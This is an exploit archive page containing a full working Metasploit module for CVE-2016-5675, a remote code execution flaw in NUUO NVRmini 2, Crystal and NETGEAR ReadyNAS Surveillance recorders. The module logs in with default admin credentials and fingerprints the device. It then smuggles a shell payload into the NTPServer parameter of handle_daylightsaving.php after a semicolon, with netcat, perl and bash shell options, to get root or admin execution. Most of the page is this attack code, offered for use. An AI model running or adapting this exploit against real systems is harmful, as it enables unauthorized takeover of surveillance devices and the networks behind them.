what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

NUUO NVRmini 2 / Crystal / NETGEAR ReadyNAS Surveillance Authenticated Remote Code Execution

NUUO NVRmini 2 / Crystal / NETGEAR ReadyNAS Surveillance Authenticated Remote Code Execution
Posted Aug 11, 2016
Authored by Pedro Ribeiro | Site metasploit.com

The NVRmini 2 Network Video Recorder, Crystal NVR and the ReadyNAS Surveillance application are vulnerable to an authenticated remote code execution on the exposed web administration interface. An administrative account is needed to exploit this vulnerability. This results in code execution as root in the NVRmini and the 'admin' user in ReadyNAS. This exploit has been tested on several versions of the NVRmini 2, Crystal and the ReadyNAS Surveillance. It probably also works on the NVRsolo and other Nuuo devices, but it has not been tested in those devices.

tags | exploit, remote, web, root, code execution
advisories | CVE-2016-5675
SHA-256 | c1fe6b091d64c6ffde8067884a1a1cfdb89fc96e74975fa66a11765b3d24a22f

NUUO NVRmini 2 / Crystal / NETGEAR ReadyNAS Surveillance Authenticated Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'NUUO NVRmini 2 / Crystal / NETGEAR ReadyNAS Surveillance Authenticated Remote Code Execution',
'Description' => %q{
The NVRmini 2 Network Video Recorder, Crystal NVR and the ReadyNAS Surveillance application are vulnerable
to an authenticated remote code execution on the exposed web administration interface. An administrative
account is needed to exploit this vulnerability.
This results in code execution as root in the NVRmini and the 'admin' user in ReadyNAS.
This exploit has been tested on several versions of the NVRmini 2, Crystal and the ReadyNAS Surveillance.
It probably also works on the NVRsolo and other Nuuo devices, but it has not been tested
in those devices.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2016-5675'],
['US-CERT-VU', '856152'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-nvr-vulns.txt'],
['URL', 'http://seclists.org/bugtraq/2016/Aug/45']
],
'DefaultOptions' => { 'WfsDelay' => 5 },
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => false, # Runs as root in NVRmini 2 / Crystal, admin in ReadyNas
'Targets' =>
[
[ 'Automatic', { } ],
[ 'NUUO NVRmini 2', {
'Payload' =>
{
'Space' => 1024, # Actually it might be the GET request length, but this is a safe value
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'netcat generic perl'
}
},
}],
[ 'ReadyNAS NETGEAR Surveillance', {
'Payload' =>
{
'Space' => 1024, # Actually it might be the GET request length, but this is a safe value
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'netcat generic perl'
}
},
}],
[ 'NUUO Crystal', {
'Payload' =>
{
'Space' => 1024, # Actually it might be the GET request length, but this is a safe value
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'bash'
}
},
}],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 4 2016'))

register_options(
[
Opt::RPORT(8081),
OptString.new('TARGETURI', [true, "Application path", '/']),
OptString.new('USERNAME', [true, 'The username to login as', 'admin']),
OptString.new('PASSWORD', [true, 'Password for the specified username', 'admin']),
], self.class)
end


def id_target
return target if target.name != 'Automatic'
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'])
})
if res && res.code == 200
if res.body.to_s =~ /var VENDOR_NAME = "Netgear";/
print_status("#{peer} - Identified NETGEAR ReadyNAS Surveillance as the target.")
return targets[2]
elsif res.body.to_s =~ /v_web_login_login_type/
print_status("#{peer} - Identified NUUO Crystal as the target.")
return targets[3]
else
print_status("#{peer} - Identified NUUO NVRMini 2 as the target.")
return targets[1]
end
end
end


def exploit
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], "login.php"),
'vars_post' => {
'user' => datastore['USERNAME'],
'pass' => datastore['PASSWORD'],
'submit' => "Login"
}
})

if res && (res.code == 200 || res.code == 302)
cookie = res.get_cookies
else
fail_with(Failure::Unknown, "#{peer} - Failed to log in with the provided credentials.")
end

my_target = id_target
if my_target == targets[1]
if payload.raw.include?("perl")
fail_with(Failure::Unknown, "The NVRmini 2 only supports generic or netcat payloads.")
end
print_status("#{peer} - Executing payload...")
send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], "handle_daylightsaving.php"),
'cookie' => cookie,
'vars_get' => {
'act' => "update",
'NTPServer' => rand_text_alpha(12 + rand(8)) + ";" + payload.encoded
}
}, 1)
elsif my_target == targets[2]
if payload.raw.include?("netcat")
fail_with(Failure::Unknown, "ReadyNAS Surveillance does not support netcat payloads.")
end
# We also have to fix the perl payload - there's an IO import error on the ReadyNAS that blows
# it up.
print_status("#{peer} - Executing payload...")
send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], "handle_daylightsaving.php"),
'cookie' => cookie,
'vars_get' => {
'act' => "update",
'NTPServer' => rand_text_alpha(12 + rand(8)) + ";" + payload.raw.gsub("-MIO ", "-MIO::Socket ")
}
}, 1)
else
if not payload.raw.include?("exec")
fail_with(Failure::Unknown, "NUUO Crystal only supports bash payloads.")
end
print_status("#{peer} - Executing payload...")
send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], "handle_daylightsaving.php"),
'cookie' => cookie,
'vars_get' => {
'act' => "update",
'NTPServer' => rand_text_alpha(12 + rand(8)) + ";" + payload.raw
}
}, 1)
end
handler
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    17 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close